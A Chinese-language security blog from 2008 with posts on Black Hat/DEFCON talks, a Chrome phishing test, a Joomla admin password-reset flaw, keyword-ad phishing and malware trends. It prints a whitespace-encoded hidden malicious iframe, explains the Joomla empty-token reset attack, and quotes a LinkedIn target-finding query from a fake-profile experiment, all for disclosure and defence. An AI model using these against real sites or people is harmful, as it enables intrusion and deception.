}
h[i][j](o);
</script>


我在以上程式碼中,利用 whitespaces / tabs 編碼加入了以下這行:

<iframe src="http://malwareguru.com/kolisar/bad.html" style="display: none">

所以您如果執行以上 javascript,這一行最後會被 document.write 出來。其實,如果您選取部分上面的程式,從反白的地方,您就可以清楚地看到隱藏的 whitespaces / tabs 了:



想玩玩看嗎?我架了一份在這裡

另外這邊提醒的是,這種手法不一定只用來內嵌 iframe,可以直接內嵌一個 javascript 攻擊程式,直接攻瀏覽器漏洞或外掛漏洞。MalwareGuru 上有一些測試用的此類攻擊程式

這次與 Kolisar 聊了很久,後來聊到他的興趣,他說是變魔術。我說真的假的?他說當然,他很小就開始了。每個魔術都是一個謎題(puzzle),他邊看邊想著破法,很著迷,當然也自己表演。後來談到 Medeco,他又說他也迷開鎖(locksport),因為每個鎖其實就是精心設計的一套謎題(puzzle)。這讓我想到 Kuon 曾經跟我說:「解加殼過的惡意程式很有趣,因為每一個樣本就是一個 puzzle」。Kolisar是他們公司逆向工程解惡意程式(脫殼)的第一把交椅,不是也是這樣嗎?看來會做到資安這行,跟先天基因絕對有關係。我的外祖父賣了一輩子的魔術道具,我從小就一直設法破他設計的魔術,或跟他一起研究他那些堆積如山的魔術師錄影帶。

我目前正在跟 Kolisar 做一些很有趣的研究,有成果時在跟各位分享!

4. Nathan Hamiel & Shawn Moyer:撒旦是我好友:用社交工程手法攻擊社交網路(Satan is on my friendlist: Attacking Social Networks)Black HatDEFCON官方投影片(不完整)講師會後公開之投影片(完整)whitepaper訪問影片

Nathan 跟 Shawn 今年的演講很賣座,但是我在 Black Hat 時沒空去聽,今天趕緊先去佔位子。社交網站,是下一波資安的大漏洞,我完全同意。只是這種研究最近很多人都在做,故題目本身並不算太新。Nathan 跟 Shawn 先介紹了各大社交網站的 XSS CSRF 漏洞,並示範得很清楚,觀眾也都看得很過癮。Nathan 跟 Shawn 是非常好的講師,兩個人配合起來,像唱雙簧一樣,一搭一唱,效果十足。他們公布的漏洞也都很具體,也很嚴重。但是對於這些社交平台有 XSS 或 CSRF,我一點都不感到意外;事實上我們也有發現不少,只是沒有公開。



這場比較吸引我的,倒是後來介紹的社交工程實驗。Nathan 跟 Shawn 決定在 LinkedIn 上製造一個假的身份,看有多少人受騙。在爭取到 Markus Ranum(實做出第一套商業防火牆 SEAL、前 NFR 的創辦人兼 CEO、目前 Tenable 的 CSO)的同意後,Nat 跟 Shawn 就開始在 LinkedIn 上自己「幫」Marcus 建立了一個帳號。他們從網路上抓了他的照片,資料也都從 Marcus 的官方網站剪貼過來,填得頭頭是道。

接下來要找一些人把這個假的 Marcus 加入好友,這樣這個帳號看起來才像。網路上很多人對於建立線上社交網路很積極,只要你要求把他們加入好友,他們都會答應。Nat 跟 Shawn 用了以下這個 Google hacking 查詢:

"invites accepted" OR "open networker" OR "accepts all invites" OR lion OR toplinked.com OR mylink500 +site:linkedin.com +inurl:/in/ -inurl:updates

從完成假帳號的建立,到使用 Google hacking,到送出約 50 個加入好友 request,只花的一小時。十二個小時後,這個假帳號已經建立了 42 個關連,使得帳號看起來更真實了。不到半天的時間,這個帳號就已經加入了一些資安圈的重要社交群組。接下來就等待看有沒有人送要求過來,希望把假 Marcus 加入好友了。

結果是,很多人送訊息過來,表達在線上遇到 Marcus 實在太好了一些資安界重量級人物也要求把假 Marcus 加入好友,更多人送訊息來跟假 Marcus 討論最新的資安議題...沒有一個人懷疑這個帳號的真實性!而這一切,都是在二十四小時內完成的!

其實本來就是這樣,社交工程一項都是資安裡攻擊者最好用的手法。也難怪這個 blog到目前為止,最多篇文章的分類就是「社交工程」。

以下是 Nat 與 Shawn 在這次 Black Hat 時所接受的訪問:



5. Wendel Guglielmetti Henrique:打穿 WAF(Playing Web Application Firewalls)大會介紹投影片)<

來自巴西的講師 Wendel 是巴西滲透測試公司 Intruders Tiger Team Security 的成員,也是 Hackaholic 的成員(但是我之前都不認識他)。Google 了一下倒發現他也是今年 H2HC 的講師。



Wendel 講得很認真,並且有當場 demo 他介紹的技巧如何運用於打穿 Citrix Netscaler 這個 WAF。但是說實在我並沒那麼意外,原因有二。第一,真的要攻擊 WAF,看我之前寫的 Black Hat 第二天 Arian Evans 那場就知道了,人家只是客氣沒有當場 demo 而已。況且這也不是什麼新聞,從以前到現在,各大跟 Web 相關的 mailing list(不好意思寫明啦!),只要談到 WAF vs. Scanning(黑箱或白箱)(阻擋攻擊或修改漏洞),就會一長串口水戰,做 WAF 說 WAF 好,做 scanner 的說 WAF 只能擋小部分攻擊等等... 阿碼科技的看法則是,不同客戶有不同的需求,資安團隊的使命就是了解客戶需求,提供專業的建議並實際解決客戶問題,所以並不會預設立場,也因為這樣我們 WAF(SmartWAF)跟 scanner(CodeSecure)都有,而且現在還可以整合,由 scanner 吐弱點設定檔給 WAF。

第二個原因是,WAF 只是工具,WAF 的自我學習能力再強,也沒有辦法取代人為設定的重要。就像是選生病醫生,有人喜歡選大醫院因為「設備」比較好。我以前也是這樣,但是有了很多經驗,也看多了,聽多了之後,現在我都選醫生。超音波,斷層掃瞄的設備再好,都只是幫醫生做判斷。沒有經驗的醫生,用再好的儀器,都還是沒用,書本上讀的,跟實際有很大的差距。有經驗的醫生,有時看一下病人臉色,問一兩個問題,就可以做出正確的判斷,照都不用照。WAF 也是一樣,WAF 是資安團隊的工具,在來不及把弱點修改好之前,WAF 可以提供一定程度的防禦力。但是 WAF 不是買來就好,重點是設定。我之前就提過了,「...如果找對好的 partner,有心服務客戶,長期經營,技術能量也夠,那即使用免費的開放源碼 ModSecurity 做 Web 防火牆,一樣能設定到讓您高枕無憂。」

如果你的網站是採用主機代管,由具備 SOC 能力的 hosting provider 幫忙處理 security,那不能只是選對方用什麼設備。就像你選銀行的保險箱放重要的東西,銀行告訴你他們採用了全美國最好的 Medeco 保險箱,那你必須知道:
1. 即使是 Medeco,今年也被破了
2. 但是更重要的是,銀行買了 Medeco,結果到底有沒有上鎖?如果買了結果都沒鎖,有用嗎?
3. 安全不能靠單點而要靠 layered security,銀行用了好的保險箱,但是有沒有監控系統?有沒有人在顧監控系統?大門有沒有警衛?

我們把 SmartWAF 賣給代管廠商,就像我們把保險箱賣給了銀行一樣。銀行到底有沒有好好用,到底有沒有上鎖(SmartWAF 到底有沒有打開?)我們盡全力去影響,但是畢竟我們無法直接管對方。

6. 黑白帽相見歡(Meet the Feds)大會介紹
聽完了 Wendel 的演講,接著就是每年 Black Hat 以及 DEFCON 各有一場,很好玩的黑白帽相見歡(Meet the Feds)啦!MTF 每年都是大陣仗,今年也不例外,美國與加拿大兩個政府總共出動了 11 個相關單位代表:



上面照片從左至右的 11 人分別是:
1. Rod Beckstrom美國國土安全部(DHS)新單位--國家資安中心(National Cyber Security Center、NCSC)」首席,為今年美國政府資安界的當紅新人炸子雞

2. Lin Wells: 美國國防部網路與資訊整合副次長(白話說法就是美國國防部的副 CIO)(Principal Deputy Assistant Secretary of Defense, Networks and Information Integration),此次代表美國國防大學(National Defense University

3. Richard Marshall:美國國家安全局(National Security,NSA

4. Mischel Kwon:美國電腦安全緊急應變中心(US-Cert)

5. 美國國稅局(IRS)

6. Jim Christy(主席):美國國防部網路犯罪中心(Department of Defense Cyber Crime Center,DC3

7. Tom Pownall:加拿大聯邦警察(Royal Canadian Mounted Police,RCMP

8. Barry Grundy:美國太空總署電腦犯罪科(NASA Computer Crime Division)

9. David Helfen:美國海軍罪案調查處(Naval Criminal Investigative Service,NCIS

10. Ray Kessenich:美國國防網路調查訓練學校(Defense Cyber Investigation Training Academy,DCITA

11. James Finch:美國聯邦調查局(Federal Bureau of Investigation,FBI

別看加拿大還來湊熱鬧,事實上這些單位(尤其是比較老的)之間互動非常頻繁,加拿大自90年代後期就一直是美國這些單位的重要聯盟伙伴(見此 1998 新聞,RCMP 聯合 FBI、NASA 與 DC3 抓駭客)。

為什麼 NASA 也來呢?NASA 其實在駭客史上是常出現的,因為 NASA 從早期大家就知道,很多好機器,名聲有大,所以大家喜歡攻...還有重點是,其實不難攻,只是會被抓。另外由於各界都對 NASA 的研究很有興趣,所以 NASA 很早就有 website,並有很大的流量。我記得 1995 年世紀大彗星Hale-Bopp被發現時,大家都是到 NASA 的這個網頁來看資料與照片。到 1997 年時,這個網頁已經有一天超過一百萬次的流量了。如果當初有網頁掛馬,想一想一個一天有一百萬次流量,但是又不太難攻的網頁,對駭客的吸引力會有多大。所以在與駭客作戰方面,NASA 一直算「有經驗」的單位 :)

IRS 會來也是差不多原因,但是比 NASA 還多一個強處。美國抓到人卻無法有效舉證判罪時,都是出動 IRS。個人意見,在美國得罪 IRS 比得罪 FBI 還慘。

這場我是從頭笑到尾,我坐正中間第一個位子,一直笑道腰都直不起來。台上風光介紹每個人的資歷,很多人都是科班出身,意思就是美國政府很強啦。台下我後面大家竊竊私語,像蒐集戰利品一樣:

「嗯,來了 11 個,我這幾年加起來,打進了 3 個」
「遜,我 5 個」
「那要看哪 5 個,有一些太容易啦!」
「還有不要跟我說你的是 xss,要開出 shell 的才算」

問問題大排長龍,問的答的都很好笑。

問:「我們要如何判斷什麼是合法的資安研究,什麼是違法的駭客行為?」
答:「下一個!」
問:「就這樣?!」
答:「你哪裡來的?」
問:「俄羅斯」
答:回頭看比 抓起來的手勢:「下一個!」



此次被指定回答最多的,就是 FBI 的先生啦!不過似乎他怎麼回答大家都不相信他的樣子...



不過看來這些單位來,還有一個大目的,就是招募人才。回答中各單位一再重複,加入有多好多好,履歷要投到哪裡等等,問的問題也有好幾個是這方面的。有好幾位代表很年輕並且感覺技術底子很夠,或之前蠻「黑」的。我覺得這樣對這些單位的形象,絕對有很大的加分作用,因為台上一方面感覺有料,一方面又讓台下感覺,有料可以幫國家做有義意的事,而不是在黑暗處搞破壞或被人利用。恩,肯定這場 panel!

我記得還有一題我笑得抬不起來,後面也是,是這題:

問:「發現重大漏洞真的不能直接完整揭露(full disclosure)嗎?」

答:「絕對不行!一定要有耐心跟對方溝通,協助處理完後方可公開!」

聽了快笑死了,每次對方只要是超級大單位,就是先丟一份保密合約(NDA)給我們簽:「不簽就不繼續談」。但是簽了就表示,我們過去現在未來,即使在漏洞修好後十年,或十年後漏洞都還沒修,只要對方不同意,我們就不能公開。你沒看早上第一場 Medeco,Schuyler 探討與對方互動第一原則,就是「絕對不可簽署保密合約」。這方面我回來有表示過意見,沒想到媒體也有報導出來。這樣要叫我們如何「有耐心跟對方溝通」?不簽對方就不溝通啊呵!

結束後我冒著大會攝影機還在拍的風險,去找了這位回答的先生討論,因為我知道他私下處理了不少這類的問題,也幫了不少人。他給了一些聯絡資訊,嗯,以後一定會有用的,心裡想,但是其實我應該去要那位 IRS 先生的聯絡方式,因為我們發現貴單位網站有漏洞很久了。但想想算了,等其他人發現去告訴他吧,我才不淌這種麻煩。

7. NIST:量子加密(Quantum Cryptography)

這場結束後今天也就大功告成啦,等一下還有聚會,真是累死人。利用空檔去繞了一些展示區,發現美國國家標準局(NIST)有來展示量子加密(quantum cryptography)。我資格考考了兩科 quantum,唸了很多 Alice 跟 Bob,但是從沒看過 live 系統,今天真是大開眼界啊!NIST 的研究員正在吃飯,卻放下食物好心的整個跟我解釋了一遍,真是感動,謝謝各位,系統做得真的太帥了!





8. Thomas Wilhelm:移動駭客空間(Mobile Hacker Spaces)
最後繞道了大門外,參觀了一下今年第一次從科羅拉多開過來展是的移動駭客空間(Mobile Hacker Spaces)。移動駭客空間在這個社群中很紅,因為可以開車到處偷別人的無線訊號來做... 研究... 咳...咳...



其實設計這台車的不是別人,就是開放源碼滲透測試工具包 De-ICE.net PenTest LiveCD 的創辦人 Thomas Wilhelm,目前為美國某前 50 大(fortune 50)企業的資安人員,也正在念博士班。Thomas 與朋友合著有:「Penetration Tester's Open Source Toolkit, Volume 2」、「Metasploit Toolkit for Penetration Testing, Exploit Development, and Vulnerability Research」、以及「Netcat Power Tools」等有名的資安工具書。

終於寫完啦,一天寫一點時間真的不夠用,感謝閱讀!我會湊出時間把第二三天也寫完的,會合寫成一篇只敘述重要的演講。

作者 Wayne 為 阿碼科技 CEO

相關文章:
駭客年會Black Hat / DEFCON 2008 心得一:地下犯罪經濟成熟,影響會議品質?
美國駭客年會 Black Hat 2008 觀察--第二天
美國駭客年會 Black Hat 2008 觀察--第一天

繼續閱讀全文...

2008年9月3日

「Google Chrome」瀏覽器實戰釣魚網站!敗~~

Google推出新的瀏覽器了,目前是測試版,有很多新聞,可以看這裡這裡還有這裡。如果想嘗鮮可以到下列網址下載安裝:
http://www.google.com/chrome

想知道目前這瀏覽器的市佔率,可以看這邊。看起來應該頗受大家看好,才有這統計數據,目前顯示將近 2%。

新的瀏覽器對有心人士來說,就是新戰場,貼切點就像是 Wii、PS3 或 iPhone 推出一樣,迫不及待的拆開把玩,所以,今天(9/3日)開放下載,馬上就有人推出攻擊:Google Chrome Browser 0.2.149.27 malicious link DoS Vulnerability
POC 網址在這裡

所以我們拿「Google Chrome」來實戰釣魚網站,這釣魚網站很常見的詐騙伎倆,大家不可不防的,實戰結果卻有點跌破眼鏡;所以,使用前還是要得先熟悉產品,不然會出事。這裡摘錄精彩片段予以重播,Pitch by Pitch...!

釣魚網站有目前有兩個連結,可以參考先前 POST 的文章
1.實戰釣魚網站(A):主要運用騙術。
2.實戰釣魚網站(B):除了騙術,還有些玩弄小程式,你能脫身嗎?

所以直接把 Google Chrome 瀏覽器,連線釣魚網站看看會有啥結果:
(A)網站瀏覽結果,發現桌面上馬上多一個檔案,一開始還真的嚇一跳哩,瀏覽畫面如下。怎會發生這款事勒...

桌面多出的一個檔案,有心人士可是千方百計才有這結果的哩:


(B)網站瀏覽結果,經過一連串網頁的煩人訊息後,發現桌面上也多一個檔案,瀏覽畫面如下:

同樣的,在循環的訊息過程中也無法將瀏覽器關閉,最後桌面也多出的一個檔案:


仔細想想發生啥事...大家應該也猜到發生啥事了!沒錯,「預設在下載檔案時」是沒有下載訊息的喔...XD,設定畫面如下,該不該打勾呢?我想你應該在這實戰釣魚網站過程中,知道會發生啥事了吧!順便複習一下釣魚網站的技倆。


如果沒勾,你的電腦可能會多出一堆檔案的哩,這瀏覽器的下載檔案的過程及訊息都跟 IE 及FireFox 不太一樣的,有沒有發現呢?站在「方便使用」的立場,或許相當人性化,但資訊安全往往站在「便利」的另一端,該如何取決,你得做出選擇。

這個漏洞也已經陸續有相關披漏了,可以參考下列網址:
Google Chrome Browser 0.2.149.27 Automatic File Download Exploit
Google Chrome Automatic File Download

本文同步張貼於:資安之我見

作者 Crane 為 阿碼科技 資安顧問

繼續閱讀全文...

2008年8月27日

Joomla Hack Analysis

Joomla 是一套使用 PHP 程式語言加上 MySQL 資料庫所開發的內容管理系統(CMS, Content Management System),可以在 Linux、Windows、Mac OS X 等各種不同的平台上執行。目前 Joomla 是由 Open Source Matters (www.opensourcematters.org) 這個開放源碼組織進行開發與支援,組織的核心成員約 150 人,來自全世界各地,其中包含了開發者、設計者、系統管理者、文件撰寫者,另外有超過 9 萬名(2007.3)的參與會員。更多相關資訊可參考Joomla 官方網站

此漏洞名為:「Remote Admin Password Change」(CVE-2008-3681MILW0RM:6234BID:30667)於2008年8月12日被公開之後,Joomla 的官方網站在當天就緊急發布了 1.5.6 的更新,也呼籲所有 1.5 版本要趕快升級到 1.5.6 ,不然管理者的密碼有可能會被入侵修改。但是大多數使用者,可能還不知道有這回事呢,導致大家如果有看到近期這幾天被淪陷網站紀錄,很多都是 Joomla,請參考新聞:大量 Joomla 系統網站遭入侵

Joomla 居然這麼容易就被打下讓我們非常的好奇,於是就分析了一下 Joomla 1.5.5 原始碼。這個弱點其實不是針對程式碼來做攻擊(例如 SQL Injection 或 XSS),而是針對 Joomla 本身 business logic 的漏洞,Joomla 原先重設密碼都是要求使用者輸入 email,程式將密碼直接寄到使用者的 email,但是在1.5版之後,Joomla 改成寄送一個 32 bytes 的 token 到使用者的信箱,使用者在 Joomla 上再使用這個 token 來設定密碼。

以下是重設的 function:

function confirmReset($token)
{
global $mainframe;

$db = &JFactory::getDBO();
$db->setQuery('SELECT id FROM #__users WHERE block = 0 AND activation = '.$db->Quote($token));

// Verify the token
if (!($id = $db->loadResult()))
{
$this->setError(JText::_('INVALID_TOKEN'));
return false;
}

// Push the token and user id into the session
$mainframe->setUserState($this->_namespace.'token', $token);
$mainframe->setUserState($this->_namespace.'id', $id);

return true;
}

一般常見的入侵方式是偽造一個密碼重設的要求,再預測 token 的值。Joomla 使用 GUID 作為 token,被預測的可能性相當低。然而,Joomla 卻犯了一個邏輯上的錯誤。一般類似的密碼重設功能,都會在資料庫中紀錄使用者是否有要求重設密碼,如果有要求,才會比對 token。但是 Joomla 卻是直接比對 token,在資料庫中,沒有要求重設密碼的使用者的 token 當然是一個空字串,因此,只要在 token 欄位的值是一個空字串即可,Joomla 的重設網頁是使用 JavaScript 來檢查 TextBox 是否為空,因此只要將 JavaScript 關閉,按下 Submit,即可重設ID最小的使用者的密碼,而 ID 最小的使用者通常都是 admin。

另外,由於 Joomla 在將 token 送進資料庫前,會將 token 中的符號過濾掉,因此,我們也可以不用關閉 JavaScript,直接在 TextBox 中隨便輸入幾個符號,進入資料庫比對的 token 一樣是空字串。

Joomla 1.5.6修補了這個弱點,修補的方法是在 confirmReset 中加入了下面的程式碼:

if(strlen($token) != 32)
{
$this->setError(JText::_('INVALID_TOKEN'));
return false;
}

強制與資料庫比對的 token 長度一定要是32 bytes,因此空字串都會輸出 IVALID_TOKEN 錯誤。

正確的修補方式應該是在資料庫中加上一個型態為 bit 的欄位,紀錄使用者是否有要求重設密碼。但是這樣的修補方式必須要更動到資料庫,而 Joomla 1.5.6 的修補方式只需要覆蓋一個檔案即可。我們認為 Joomla 這算是一個救火的修補方式,也期待在 Joomla 的下一個 major release 中,能夠以加上 bit 欄位的方式來修補這個問題。

目前我們已通知許多使用 Joomla 1.5 - 1.55 還存有安全漏洞的使用者以免更多的無辜使用者被攻擊。


作者 Sun 與 Jim 為 阿碼科技 資安顧問

繼續閱讀全文...

2008年8月24日

利用「關鍵字廣告」的詐騙--也在google出現

先來看看一些消息:
iThome online:小心關鍵字廣告連結惡意網頁
ZDNet Taiwan:關鍵字廣告成網路釣魚工具
資安人:Yahoo!奇摩關鍵字洩個資!
Sunbelt Blog:The continuing problem of malware being advertised in Google Adwords
刑事警察局:兩岸駭客設置變種網路釣魚網站竊取網路銀行等企業大量個人資料
資安之我見:偽裝成防毒軟體網站

去年「關鍵字廣告」的詐騙在我們這就已經相當夯了,鬧得沸沸揚揚,所以google上也是一定會有的事;最近國外開始利用了,畢竟,這類手法得花些成本的,所以沒有計畫就做,很容易賠老本哩...XD。既然人家都花錢做了,我們也應該欣賞一下囉!順便中英手法比較一下有啥不同呢?

我們這是「利用yahoo關鍵字」的手法,先來恢復一下記憶:

上面這圖已經有很多網站或部落格用過,大家可能比較有印象點,來源好像是自由電子報的。

這手法在2006年底就出現了...到2007年二月才爆發出來。

這是哪家銀行咧,看得出來嗎?都跟正牌銀行差一個字母喔?正牌銀行也是受害者的。

前面兩張圖是分類廣告不用錢的,這張圖是「贊助網站」要錢的哩!

上面這些廣告連結都是餌,會連結到駭客「控制」的網站,利用網頁掛馬的方式,使瀏覽者的電腦植入惡意程式,再利用植入系統的木馬,竊取個人金融資料,盜領帳戶金額。
簡單的說就是在大型搜尋網站買下「關鍵字廣告」行銷,蒐尋「網路銀行」、「航空公司」、「旅行社」、「電腦科技公司」、「人力銀行」等關鍵字會有五十多個假網頁,誤點連結的就可能被植入木馬程式,竊取個人信用資料和帳號密碼,進行盜轉存款、預借現金、小額付費、網路購物等盜領洗錢犯罪。

國外是「利用google adware」的手法,來看看幾張圖:

#Sponsored Links(贊助商連結)

#Sponsored Link(贊助廠商廣告)

#Ads by Google(Google提供的廣告),一般網站有提供google廣告的
以上三張圖出自Sunbelt Blog的這裡還有這裡

看出端倪了嗎?知道上面連結或廣告的差異嗎?「Sponsored Links(贊助商連結)」、「Ads by Google(Google提供的廣告)」及google搜尋的結果,都是可以利用的,搜尋出來的網站可能就是釣魚網站。
我想十之八九都是很難分辨的,所以才會有一堆所謂的「網站信譽評等軟體」來幫你挑出已知有問題的網站;要特別注意的是有列出來的九成九是有問題,沒列出來的也有可能是有問題的,可以參考最後一段。

連上網站,看起來就像是一個防毒軟體的網站,如果下載安裝,結果安裝的會是惡意程式。網站的樣子可以參考這

結論:
1.必須強調,兩手法都是有計畫的行動,註冊網域及贊助廣告...都是要花錢的。
2.以細膩度而言,「利用yahoo關鍵字」手法勝出,因為它一開始就是短期大量,利用相似字眼,所以設計的手法較細膩。
3.以延續性而言,「利用google adware」手法勝出,因為它有釣魚網站的基礎,所以可以打持久戰。
4.「利用yahoo關鍵字」手法利用的都是"別人"的網站,且利用瀏覽器漏洞植入惡意程式,再偷取個人資料的攻擊主軸。
5.「利用google adware」手法完全使用騙術,簡單的說就是騙你是防毒軟體,要你下載檔案安裝,但實際安裝的是惡意程式。
6.是否夾帶其他手法,我想一定有的,至少釣魚郵件就是很好的利用管道。

這裡也整理一下有哪些「網站信譽評等軟體」:
*McAfee SiteAdvisor
http://www.siteadvisor.com/analysis/
*Trend TrendProtect:TrendProtect is a FREE browser plug-in that helps you avoid Web pages with unwanted content and hidden threats.
http://www.trendsecure.com/portal/en-US/tools/security_tools/trendprotect
*Firetrust Sitehound: prevents visits to malicious websites, phishing, spyware, exploits, scams, fraud and more.
http://www.firetrust.com/
http://www.firetrust.com/en/products/sitehound
*Haute Secure: free software to protect your computer from malware
http://hautesecure.com/
*Scandoo: based on ScanSafe's web security technology
http://www.scandoo.com/
*Web Security Guard: Lets you review a website's content, threat level and brief description before you enter it.
http://www.websecurityguard.com/
*WOT, short for "Web of Trust," is a community whose members exchange knowledge of websites: Can they be trusted?
http://www.mywot.com/
*Finjan SecureBrowsing provides you with safety ratings of URLs showing in your browser.
http://securebrowsing.finjan.com/
*Norton Safe Web is a new reputation service from Symantec. Our servers analyze Web sites to see how they will affect you and your computer.
http://safeweb.norton.com/

作者 Crane 為 阿碼科技 資安顧問


繼續閱讀全文...

2008年8月23日

電腦犯罪之數字搜查線(一) : 掛馬集團奧運也休兵

之前有看過一部影片,叫做「數字搜查線(Numb3rs)」 裡面就是有很誇張的數學模型,利用數學統計方式可以找到兇手、預測下一波的犯罪地點、對象甚至時間,不過我們沒那麼神奇,只是發現一些有趣的現象跟大家分享一下。

熱鬧的奧運即將閉幕,奧運期間在運動場上有運動選手的廝殺,網路上的你來我往更是場還沒有中止的競賽,現在的運動比賽講究的是資訊情報的蒐集,搞資訊安全也是,要能夠掌握威脅與攻擊的來源和手法,才能及早發現問題發布警訊和防禦措施。說也很巧,這陣子奧運期間,網路上的惡意網站與釣魚有一波搭著奧運順風車的主題,像是奧運門票、奧運照片還有各大新聞媒體的仿真惡意信件、攻擊奧運選手和奧委會的惡意信件。

但是都沒有下面我要談的這個有趣,奧運在8月8日晚上8點舉行開幕式的前後,惡意程式下載點(landing site)幾乎在瞬間都脫鉤(在此指:把domain name對應到其他連結不到的IP位址,或者停止活動),時間點就是晚上的八點多,大概和筆者一樣跑去看開幕轉播,還是跑去現場看鳥巢飛人,這就不得而知了。(註: 也有可能跑去吃飯、上廁所…不過按照以往的歷史資料顯示比較不合乎行為模式)

在這張圖可以看出來,8/8~8/14 奧運熱潮期間惡意網站活動量大量地減少(甚至停止活動),到了8/15(星期五)也是中元節(拜好兄弟的),竟然飆出破紀錄的活動量,看來是要弭補一下這一週的怠惰,還是碰上甚麼超自然現象(汗|||…)。



因為這次奧運在北京舉辦的關係,秉持著同一個世界同一個夢想的製藥理念(註:棒球比賽最常看到的廣告詞),再進一步分析下載點(惡意程式下載IP分布位於中國者)的位置分佈,冠軍是….北京市,之前有聽說北京這次奧運要封網,不過根據這次的資料統計結果,我們還是要把金牌頒給辛苦舉辦奧運的北京市。
(註: 下載點位置以美國地區最多,中國其次,台灣太小,排不上。)



同時在 Mass SQL Injection 的比賽項目中,也是有配合奧運開幕休兵的現象,8/7~8/8幾乎是全線休兵,至17日為止總計69個攻擊來源(來信索取 info_at>armorize.com),包含烏克蘭、土耳其、中國、臺灣、南韓、越南、澳大利亞、巴西、印度,基本上就像是一場小型的奧運會。這回第一名還是留給中國,第二名: 南韓,第三名: 台灣 (靠…又是銅牌)。記者來自北京現場的烤鴨報導~

註: SmartWAF 收到的攻擊來源,感謝 SmartWAF Team 的支援

作者 Jack 為阿碼科技 資安顧問

繼續閱讀全文...

2008年8月20日

駭客年會Black Hat / DEFCON 2008 心得一:地下犯罪經濟成熟,影響會議品質?

(此篇續「美國駭客年會 Black Hat 2008 觀察--第一天」與「美國駭客年會 Black Hat 2008 觀察--第二天」)

其實阿碼科技一年要去很多會議,但是大部分是參展,不單純是參加。可是我發現參展時我就比較不能專心聽演講,因為總是有 VIP 客戶會來 booth,那我就必須要在攤位「站台」。自己當講師的時候就更慘了,通常我都最後一分鐘還在做投影片。Black Hat / DEFCON 我們明年才會擺攤位,所以我今年就比較輕鬆些,可以享受專心聽演講的樂趣!不過這些會議跑多了,有經驗的講師一年中講的都大同小異,沒有經驗的講師,講的我又聽不太下去,有時也會覺得浪費時間。

Jeff Moss
(aka Dark Tangent)是 Black Hat / DEFCON 駭客年會的創辦人與主席,每年的會上,他都會接受媒體的採訪。他今年的採訪,主要談到了地下經濟的成熟,對於駭客年會的影響。以下是訪問的影片:



在影片中 Jeff 談到,其實這幾年他的會議收到的投稿,品質有逐年下滑的趨勢。去年他覺得可能是現在資安會議多了,大家很多地方可以投,但是後來研究其他會議的內容發現,也並沒有,那究竟原因是為什麼呢?

今年他找到答案了:地下犯罪

「其實我這一兩年都發現,我的會議收到的投稿,品質有下滑的趨勢。一開始我想,可能資安不會一直那麼紅吧,大家有其他事情做,或者,現在會議多了,大家不一定都選擇把東西投到我的會議來。可是我詳細研究其他會議的陣仗,發現他們也沒有收到好的研究!」

「於是我找了一些朋友談,發現這一兩年,因為地下犯罪經濟的起飛,造成研究員在公布弱點時,開始有了策略性的選擇。」

「以前大家發現弱點,都會來投稿,這會使他們出名,在朋友前面很屌。但是現在這些弱點價值不斐,所以很多人變成藉此獲利,而非投稿出名。」

「他們變成會這樣思考:好,我找到了一個 0day,公開可以讓我出名...可是我已經很有名了,賣錢大概可以賣五萬美金。那我真的要去 Black Hat 公開嗎?公開什麼錢也拿不到,大不了讓我找到一份顧問的工作。」

「所以不只我們,整個資安社群都正受到影響。」

「老一輩有經驗的不來投稿,後輩就沒有對象可以學習。我想這現象已經發生了好幾年了
但是就是今年特別明顯,所以今年,我終於知道投稿內容品質下滑的原因了。」

「因為今年這樣的市場達到了一個高峰,不論是商業上的市場,或地下犯罪市場都已經成熟。很重要的是,弱點的市價,大家也有了共識。例如如果 0day 可以讓你得以 ssh 到目標機器,市價大概是 10萬美金,如果是遠端能控制 Cisco 的弱點,市價約 15萬美金。小的弱點也有幾千塊。所以,市場已經成長成熟了。」

以前在我的文章中,演講中,我都有提到過這個問題。我從很小就接觸電腦,國小就會寫 x86 組語了,網路從 300 bps 的數據機開始玩。那時資訊不流通,但是至少有 BBS,很多技術很靠朋友間互相的分享流通。但是那時我們都很年輕,懂得技術之後,就像小孩拿了一把利刀,很多朋友因此迷失了,被 FBI 抓了,被 CIA 驅逐出境了,離開學校專門幫企業偷盜對手的機密,或為情治單位使用,以為有了強大的靠山,結果無法無天有了不可收拾的後果。

所以像是大專資安技能競賽金盾獎開辦時,我就寫過文章談到,一方面,不懂得攻擊,不可能懂防守,之前大家一直說,學校教的資安課程太理論,資安不是只有密碼學。結果終於有了大專資安技能競賽金盾獎出來,學校也開始開這方面的課程了。

技術的環境有了,可是相對應人格的培養呢?為何軍人與警察的道德要求要比一般高?因為他們受過訓練,他們擁有武功,一把劍有兩面刃,所以軍校或警察學校在培養這些能力時,都會特別加強人格的養成訓練。

想一想多少電影的故事背景,壞人都是曾經幫國家出生入死的軍人、特殊部隊、情治人員、警察,後來因為對國家腐敗失望,而有了價值觀的反轉?

資安技術目前很有用,年輕人有了好的技術,不但可以有好的前途,對國家一些特殊單位,也會很有幫助。可是在讓年輕人幫忙的同時,有誰注意到了人格的培養?

今年在 DEFCON,我還沒看到 Jeff Moss 上面這段影片,但是發生一件事,也喚起我很多回憶。我跟一群講師坐在一間休息室聊天,他們急著秀我一些東西,但是大家的 3G 卡訊號都很弱。

講師 A:「有誰犧牲一下,筆電拿來上這裡的 wifi 吧!我的不行,我這台就是我平常在用的,今年聽說有網卡的 0day,一連上可能就中 rootkit 了...」

講師 B:「哈哈!我來上啦!以前我會相信,這裡網路有這樣的 0day 正在掃瞄。但是現在,不用擔心啦!這種網卡的 0day,你知道現在值多少錢嗎?我不相信有人會甘願拿來 DEFCON 用,用了就被別人發現了。現在不像以前啦!現在這些東西很有價的...沒人還這麼笨啦!」

我:「原來世界的趨勢都一樣啊!」

當然,以前這些事也很多,但是沒像現在這麼公開,這麼普及。因為環境比較單純,所以大家研究多是純為興趣,不會夾雜其他的目的。

以下是一段中國玩資安技術的人在 2007 年底貼出來的文,恰好呼應了 Jeff Moss 所說的(我把文轉成繁體了,原文在這裡):




為什麽近幾年公開的技術交流越來越少
2007-12-08 11:54

這個問題很復雜,說是說不清楚的,只能扯一扯。先扯個大概吧。

首先,得明確一點:任何人都沒有義務公開自己的研究,任何人都沒有權利要求別人公開自己的研究——尤其是那些自己沒公開過什麽的人。不過似乎不少人都有自己的一套理論,能夠找出充分的理由來為此義憤填膺,就像七八歲的小男孩得不到想要的遊戲機一般義憤填膺。

